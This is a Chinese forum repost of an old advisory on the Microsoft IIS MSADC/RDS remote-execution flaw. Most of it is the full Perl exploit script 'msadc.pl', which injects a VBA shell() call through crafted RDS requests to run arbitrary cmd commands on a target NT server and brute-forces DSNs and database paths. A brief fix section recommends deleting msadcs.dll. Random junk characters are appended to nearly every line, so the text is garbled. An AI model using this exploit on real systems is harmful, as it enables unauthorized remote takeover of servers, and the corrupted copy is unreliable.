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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) QguRU|y  
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涉及程序: CCoT  
Microsoft NT server HGycF|]2  
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描述: rtM29~c>@  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 )M3} 6^s]  
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详细: B ]*v{?<W  
如果你没有时间读详细内容的话,就删除: T{ WJf-pI  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ZkWX4?&OMt  
有关的安全问题就没有了。 JG^fu*K  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `-_kOxe3  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 OVq(ulwi+  
关于利用ODBC远程漏洞的描述,请参看: 2/o_,k  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm QC\r|RXW  
#su R[K*S  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Z$*m=]2  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,8.Fd|#L  
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这里不再论述。 Rtywi}VV2  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: $Gs9"~z?;  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ZNfQM&<d  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! eewlK]  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" F TgqE@  
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#!perl H8!; XB  
# 8kdJ;%^N  
# MSADC/RDS 'usage' (aka exploit) script Pk ?M~{S  
# 4H9mKR  
# by rain.forest.puppy i<\WRzVT  
# #'y4UN  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Dpb prT7_  
# beta test and find errors! _ASyGmO{  
.n\j<Kq  
use Socket; use Getopt::Std; %+pF4f8]  
getopts("e:vd:h:XR", \%args); %2@O,uCo@  
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print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; }1kZF{KD<[  
>mAi/TZC  
if (!defined $args{h} && !defined $args{R}) { ew+>?a'&L  
print qq~ !8Y $}  
Usage: msadc.pl -h <host> { -d <delay> -X -v } V$Zl]f$S  
-h <host> = host you want to scan (ip or domain) Kcu*Z  
-d <seconds> = delay between calls, default 1 second tkIpeL[d  
-X = dump Index Server path table, if available R4_BP5+  
-v = verbose d DrzO*a\  
-e = external dictionary file for step 5 q<XleC  
fK/|0@B8  
Or a -R will resume a command session >,6%Y3  
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~; exit;} ]Uj7f4)k  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; >PS`;S!(  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 0n/+X[%Ti  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ;$Pjl8\  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); d~abWBgC`  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} \x=j  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Bo +Yu(|cL  
Je*hyi7  
if (!defined $args{R}){ $ret = &has_msadc; }PUY~ u  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ^ *1hz<  
0/5{v6_rG  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" d_1uv_P  
. "cmd /c "; GIM'H;XG  
$in=<STDIN>; chomp $in; #O1%k;BL  
$command="cmd /c " . $in ; mS?W+jy%  
9,jFQb(),  
if (defined $args{R}) {&load; exit;} ^aI$97Li  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 'H8b+  
&try_btcustmr; >F5E^DY  
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print "\nStep 2: Trying to make our own DSN..."; ) :VF^"  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Y52TC@'  
5~FXy{ZIH  
print "\nStep 3: Trying known DSNs..."; /B!Ik:c}  
&known_dsn; ?s5/  
D KRF#*[=d  
print "\nStep 4: Trying known .mdbs..."; !g[UFw  
&known_mdb; LjySO2  
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if (defined $args{e}){ kXN8hU}iq  
print "\nStep 5: Trying dictionary of DSN names..."; R ~?9+  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } yvCX is  
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print "Sorry Charley...maybe next time?\n"; \R[f< K%  
exit; ,1 ^IFBJ  
K3^2;j1F Q  
############################################################################## LEd@""h  
)|,Zp`2/  
sub sendraw { # ripped and modded from whisker T@R2H&L  
sleep($delay); # it's a DoS on the server! At least on mine... -Oplk*  
my ($pstr)=@_; sTmdoqTK!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ` InBhU>  
die("Socket problems\n"); p~yGp] yJ9  
if(connect(S,pack "SnA4x8",2,80,$target)){ YBupC!R  
select(S); $|=1; 9jI5bi)  
print $pstr; my @in=<S>; HhB&vi  
select(STDOUT); close(S); ~m3Tq.sYrY  
return @in; T9?8@p\}(  
} else { die("Can't connect...\n"); }} !BDJU  
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############################################################################## |"+UCAU  
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sub make_header { # make the HTTP request u= Vt3%q  
my $msadc=<<EOT o(stXa  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 J+ uz{  
User-Agent: ACTIVEDATA (R]b'3,E$  
Host: $ip n{"e8vQx  
Content-Length: $clen u>*d^[zS  
Connection: Keep-Alive %9OVw #P  
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ADCClientVersion:01.06 ]$)U~)T iW  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 KkZS6rD\  
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--!ADM!ROX!YOUR!WORLD! Z#zXary5s  
Content-Type: application/x-varg E`b<^l`  
Content-Length: $reqlen Ey&gZ$|&  
oAF#bj_f  
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; $msadc=~s/\n/\r\n/g; ?t [C?{'  
return $msadc;} X\1.,]O >  
8X# \T/U  
############################################################################## Q#PkfjXS  
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sub make_req { # make the RDS request IoCi(N;  
my ($switch, $p1, $p2)=@_; | $D`*  
my $req=""; my $t1, $t2, $query, $dsn; 7g.3)1  
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if ($switch==1){ # this is the btcustmr.mdb query ei!Yxw8d  
$query="Select * from Customers where City=" . make_shell(); $ S]l%  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . }8dS[-.  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} do DpTwvh  
fl+2 '~  
elsif ($switch==2){ # this is general make table query r2=4Wx4(  
$query="create table AZZ (B int, C varchar(10))"; T:g=P@  
$dsn="$p1";} +jyWqld.K1  
Lnc>O'<5P9  
elsif ($switch==3){ # this is general exploit table query [!YSW'  
$query="select * from AZZ where C=" . make_shell(); SquuK1P=  
$dsn="$p1";} -"5r-qq*  
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elsif ($switch==4){ # attempt to hork file info from index server zRFvWOxC\  
$query="select path from scope()"; -DWnDku8=  
$dsn="Provider=MSIDXS;";} zXGi  
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elsif ($switch==5){ # bad query zh Vkn]z~*  
$query="select"; Qsg([K  
$dsn="$p1";} j7qGZ"8ak  
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$t1= make_unicode($query); Eb89B%L62G  
$t2= make_unicode($dsn); {7^D!lis  
$req = "\x02\x00\x03\x00"; w">-r}HnJ  
$req.= "\x08\x00" . pack ("S1", length($t1)); Y\j5{;V  
$req.= "\x00\x00" . $t1 ; u&r+ylbs I  
$req.= "\x08\x00" . pack ("S1", length($t2)); /=g$_m@yWI  
$req.= "\x00\x00" . $t2 ; "f4atuuXa  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; S3sxK:  
return $req;} vJsx_ i\i  
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############################################################################## @QAI 0ZY  
Pk^W+M_)~  
sub make_shell { # this makes the shell() statement .$-GGvN]  
return "'|shell(\"$command\")|'";} C/YjMYwKgv  
:y^%I xs{1  
############################################################################## ?dY|,_O  
1Wb_>`;  
sub make_unicode { # quick little function to convert to unicode h[oI/X  
my ($in)=@_; my $out; mH 9_HK.C  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } A;7At!kK  
return $out;} h`pXUnEZ  
5^Ps(8VbS  
############################################################################## _e$T'*q  
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sub rdo_success { # checks for RDO return success (this is kludge) F1NYpCR  
my (@in) = @_; my $base=content_start(@in); O_^;wey0}?  
if($in[$base]=~/multipart\/mixed/){ frUO+  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} wg=-&-  
return 0;} b|nh4g  
JQH>{OB  
############################################################################## d7qYz7=d  
/XXy!=1J  
sub make_dsn { # this makes a DSN for us ~ ":}Rs  
my @drives=("c","d","e","f"); %Iv*u sXP  
print "\nMaking DSN: "; ~c${?uf   
foreach $drive (@drives) { {J]x81}*;  
print "$drive: "; !c;BOCqa  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . M1J77LfS8  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" \pVWYx  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); yc.9CTxx  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 18o5Gs;yx  
return 0 if $2 eq "404"; # not found/doesn't exist $m;DwlM  
if($2 eq "200") { b>f{o_  
foreach $line (@results) { X^)v ZL?  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} qORRpWyx&  
} return 0;} YxWA] yL  
@]@6(To  
############################################################################## 0tEe $9eK@  
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sub verify_exists { %OAvhutS  
my ($page)=@_; >%c7|\q[R  
my @results=sendraw("GET $page HTTP/1.0\n\n"); %>E M ^Z  
return $results[0];} TyN]Pa  
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############################################################################## |6GDIoZ  
HD153M,  
sub try_btcustmr { Hg 2Rcl  
my @drives=("c","d","e","f"); i2 G.<(3O  
my @dirs=("winnt","winnt35","winnt351","win","windows"); um*!+Q  
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foreach $dir (@dirs) { Rv)>x w  
print "$dir -> "; # fun status so you can see progress +|zcjI'=O  
foreach $drive (@drives) { pN#RTb8o  
print "$drive: "; # ditto ^(~%'f  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; UflS`  
$reqlenlen=length( "$reqlen" ); 1XJLGMW,  
$clen= 206 + $reqlenlen + $reqlen; Wph@LRB]  
mH /9J  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Z^O_7I<5E  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} wOF";0EN  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} F-PQ`@ZNW  
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############################################################################## Z Z9D6+R  
=p>IP"HJ  
sub odbc_error { `} S; _g!  
my (@in)=@_; my $base; H,0Io  
my $base = content_start(@in); wAF<_NG#  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this WnL7 A:sZ  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Zce/&  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l'twy$V4|~  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ayr CLv  
return $in[$base+4].$in[$base+5].$in[$base+6];} ;%!]C0 ?  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; k%%0"+y#a  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . yhh\?qqy  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} z~Is E8  
@ ('/NjTZ  
############################################################################## CJe~>4BT  
4^_'LiX3[  
sub verbose { ;3Z6K5z*f  
my ($in)=@_; %JPBD]&M  
return if !$verbose; x@? YS  
print STDOUT "\n$in\n";} =H;F{J "  
5DmW5w'p  
############################################################################## {3eg4j.Z  
ph>0?Z =bn  
sub save { !z2KQ 4C  
my ($p1, $p2, $p3, $p4)=@_; +jb<=ERV[  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; &9F(C R  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; T&+y~c[au  
close OUT;} 36UUt!}p  
%![3?|8~  
############################################################################## T,/:5L9  
T7?cnK"  
sub load { S,vh  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; a~&euT2  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ZK5 wZU  
@p=<IN>; close(IN); #D-Ttla  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); HUalD3 \  
$target= inet_aton($ip) || die("inet_aton problems"); 'g:.&4x_w  
print "Resuming to $ip ..."; /q5!p0fH*  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ;}}k*< Z  
if($p[1]==1) { GS+Z(,J>=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; J=6( 4>  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; "ifv1KZ#  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); rmJ`^6V  
if (rdo_success(@results)){print "Success!\n";} W]I+Rlv)U  
else { print "failed\n"; verbose(odbc_error(@results));}} Wgb L9'}B  
elsif ($p[1]==3){ @G^m+-  
if(run_query("$p[3]")){ W9:(P  
print "Success!\n";} else { print "failed\n"; }} GD0Q`gWNe  
elsif ($p[1]==4){ OE=.@Ry"  
if(run_query($drvst . "$p[3]")){ vbEO pYCS  
print "Success!\n"; } else { print "failed\n"; }} HpIW H*  
exit;} =fK6P6'B  
yR1v3D4E  
############################################################################## `Ha<t.v(  
c]68$;Z7  
sub create_table { <lTLz$QE  
my ($in)=@_; #Q@~ TW  
$reqlen=length( make_req(2,$in,"") ) - 28; >hO9b;F}  
$reqlenlen=length( "$reqlen" ); #oJ%i+V  
$clen= 206 + $reqlenlen + $reqlen; =[LUOOR*]  
my @results=sendraw(make_header() . make_req(2,$in,"")); 8 `}I]  
return 1 if rdo_success(@results); _~bG[lX!  
my $temp= odbc_error(@results); verbose($temp); mr>dZ)  
return 1 if $temp=~/Table 'AZZ' already exists/; ffR<G&"n~b  
return 0;} z!aU85y  
nrKir  
############################################################################## +g&M@8XO&  
Vp1Ff  
sub known_dsn { s'/ZtH6>C  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go cYz|Ux  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", yq12"Rs  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", #Wq@j1?  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); #vzt6x@*  
t5k=ngA  
foreach $dSn (@dsns) { eI1C0Uz1  
print "."; ?g4S51zpp  
next if (!is_access("DSN=$dSn")); l7#2 e ORm  
if(create_table("DSN=$dSn")){ 5xhYOwQBo  
print "$dSn successful\n"; R5=M{  
if(run_query("DSN=$dSn")){ 6"yIk4u:  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Y2$xlqQd"  
print "Something's borked. Use verbose next time\n";}}} print "\n";} $S/EINc  
Y2}m/7aF  
############################################################################## 7)*q@  
#|K5ma  
sub is_access { DFp">1@`PR  
my ($in)=@_; RV),E:?  
$reqlen=length( make_req(5,$in,"") ) - 28; LerRrN}~  
$reqlenlen=length( "$reqlen" ); MH/bJtNq  
$clen= 206 + $reqlenlen + $reqlen; ZG( Pz9{K  
my @results=sendraw(make_header() . make_req(5,$in,"")); Lum5Va%0  
my $temp= odbc_error(@results); dy4~~~^A  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); up2wkc8  
return 0;} t'[`"pp=  
:{%~L4$HI  
############################################################################## %ZX3:2  
R%"'k<`#  
sub run_query { Z@0IvI  
my ($in)=@_; Pr3>}4M  
$reqlen=length( make_req(3,$in,"") ) - 28; pYh\l.@qf  
$reqlenlen=length( "$reqlen" ); Bi7&yS5V  
$clen= 206 + $reqlenlen + $reqlen; GYtp%<<9;  
my @results=sendraw(make_header() . make_req(3,$in,"")); V W(+sSQ  
return 1 if rdo_success(@results); f1|&umJ$  
my $temp= odbc_error(@results); verbose($temp); fvRqt)Ks  
return 0;} 4A)_D{(SH  
8aTo TA7JA  
############################################################################## yT[)V[}  
\5fvD8>H  
sub known_mdb { E.G]T#wt0  
my @drives=("c","d","e","f","g"); Va^(cnwa  
my @dirs=("winnt","winnt35","winnt351","win","windows"); JZ/T:Hsh4  
my $dir, $drive, $mdb; nnCz!:9p  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; +|qw>1J(  
W4=A.2[q  
# this is sparse, because I don't know of many =m 6<H  
my @sysmdbs=( "\\catroot\\icatalog.mdb", c]NZG n*  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", nZ[`Yrq)0  
"\\system32\\certmdb.mdb", ;Qidf}:  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% |}Z2YDwO/  
V0xO:7G^  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Y?:" nhN  
"\\cfusion\\cfapps\\forums\\forums_.mdb", xXCsJ9]  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", uG(XbDZZ1W  
"\\cfusion\\cfapps\\security\\realm_.mdb", `:W}yo<F  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", E+J+fi  
"\\cfusion\\database\\cfexamples.mdb", TPmb]j  
"\\cfusion\\database\\cfsnippets.mdb", 4ULdf|oP"  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", cXK.^@du  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", '?T<o  
"\\cfusion\\brighttiger\\database\\cleam.mdb", !*o{xq   
"\\cfusion\\database\\smpolicy.mdb", lD$\t/8B  
"\\cfusion\\database\cypress.mdb", :VE0eJ]J6  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", vJ e c+a  
"\\website\\cgi-win\\dbsample.mdb", _z>%h>L|g  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", DS;.)P"  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" XoGOY|2`6  
); #these are just p tlag&Z  
foreach $drive (@drives) { dg&GMo  
foreach $dir (@dirs){ bd[iD?epD]  
foreach $mdb (@sysmdbs) { k=9k4l  
print "."; zEDN^K '  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ &;U F,  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; NG: f>R  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ *S'?u_Y7  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; -`5L;cxwk4  
} else { print "Something's borked. Use verbose next time\n"; }}}}} %- Ga  ^[  
M,we,!B0  
foreach $drive (@drives) { TWdhl9Ot  
foreach $mdb (@mdbs) { tv5N wM  
print "."; ,r;E[k@  
if(create_table($drv . $drive . $dir . $mdb)){ @_?Uowc8  
print "\n" . $drive . $dir . $mdb . " successful\n"; 8F/zrPG  
if(run_query($drv . $drive . $dir . $mdb)){ o)8VJ\ &  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 'N`x@(  
} else { print "Something's borked. Use verbose next time\n"; }}}} Z8Tb43?  
} ?(M]'ia{  
6\? 2=dNX  
############################################################################## \W|ymV_Ki  
9H2mA$2jnE  
sub hork_idx { <g64N  
print "\nAttempting to dump Index Server tables...\n"; &_' evZ8  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _~;K]  
$reqlen=length( make_req(4,"","") ) - 28; G6qFAepwi  
$reqlenlen=length( "$reqlen" ); d"S\j@  
$clen= 206 + $reqlenlen + $reqlen; XII',&  
my @results=sendraw2(make_header() . make_req(4,"","")); nLR   
if (rdo_success(@results)){ (]-RL A>  
my $max=@results; my $c; my %d; xPJ @!ks9  
for($c=19; $c<$max; $c++){ Mtn{63cK  
$results[$c]=~s/\x00//g; i]& >+R<6  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 'tt4"z2  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; xu@xP5GB^  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; QiaBZAol  
$d{"$1$2"}="";} l0E]#ra"  
foreach $c (keys %d){ print "$c\n"; } fn8|@)J  
} else {print "Index server doesn't seem to be installed.\n"; }}  3bHB$n  
0Y8Cz/$  
############################################################################## H-eHX3c7  
[buLo*C4:  
sub dsn_dict { O 2/_$i[F  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 7_J0[C!G  
while(<IN>){ 6Q_ZP#oAV  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ]Mvpec_B  
next if (!is_access("DSN=$dSn")); }4?z<.V  
if(create_table("DSN=$dSn")){ 8&CQx*  
print "$dSn successful\n"; xdMY2u  
if(run_query("DSN=$dSn")){ bpa'`sf  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { HIda%D  
print "Something's borked. Use verbose next time\n";}}} CW FE{  
print "\n"; close(IN);} Yi <1z:\  
Ged} qXn  
############################################################################## EIF  
/Eu|Jg=I  
sub sendraw2 { # ripped and modded from whisker SQ<{X/5  
sleep($delay); # it's a DoS on the server! At least on mine... /)sP<WPQ 6  
my ($pstr)=@_; DH)E9HL  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || spWo{  
die("Socket problems\n"); w Ju9.  
if(connect(S,pack "SnA4x8",2,80,$target)){ md lMciP  
print "Connected. Getting data"; Ao\Im(?  
open(OUT,">raw.out"); my @in; 3Te&w9K  
select(S); $|=1; print $pstr; csV3mzP  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} hfg ^z5  
close(OUT); select(STDOUT); close(S); return @in; T/:6Z  
} else { die("Can't connect...\n"); }} D5Z)"~'  
WwUHHm<v  
############################################################################## ,o}CBB! k  
dV /Es  
sub content_start { # this will take in the server headers 0D0uzUD-  
my (@in)=@_; my $c; WT}x Cni  
for ($c=1;$c<500;$c++) { ; O ~%y'  
if($in[$c] =~/^\x0d\x0a/){ [kMWsiZ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } P1 |3%#c  
else { return $c+1; }}} fZQ2<*)pqO  
return -1;} # it should never get here actually 2 ]n4)vv,  
0 c ]]  
############################################################################## COj^pdE3  
c=aZ[  
sub funky { *nEG<Y)  
my (@in)=@_; my $error=odbc_error(@in); kIRjoKf<F  
if($error=~/ADO could not find the specified provider/){ H|/"'t OZ  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; OHv9|&Tpl  
exit;} )S}.QrG  
if($error=~/A Handler is required/){ @9l$j Z~x  
print "\nServer has custom handler filters (they most likely are patched)\n"; @X P_~ N  
exit;} W*/2x8$d  
if($error=~/specified Handler has denied Access/){ aO 2zD<d  
print "\nServer has custom handler filters (they most likely are patched)\n"; )k]{FM  
exit;}} ]ZH6 .@|  
HcrlcxwM\i  
############################################################################## 4\j1+&W   
Tq?f5swsI  
sub has_msadc { z>b^Ui0  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); # wyjb:Ql  
my $base=content_start(@results); W,:j >v g  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 09i7 7  
return 0;} VBW][f  
-b34Wz(  
######################## IR32O,)  
{MUO25s02  
4L r,}t A  
解决方案: M XuHA?  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll .=) *Qx+  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Sg13Dp @x  
3wQ\L=  
拿出来充数 哈哈
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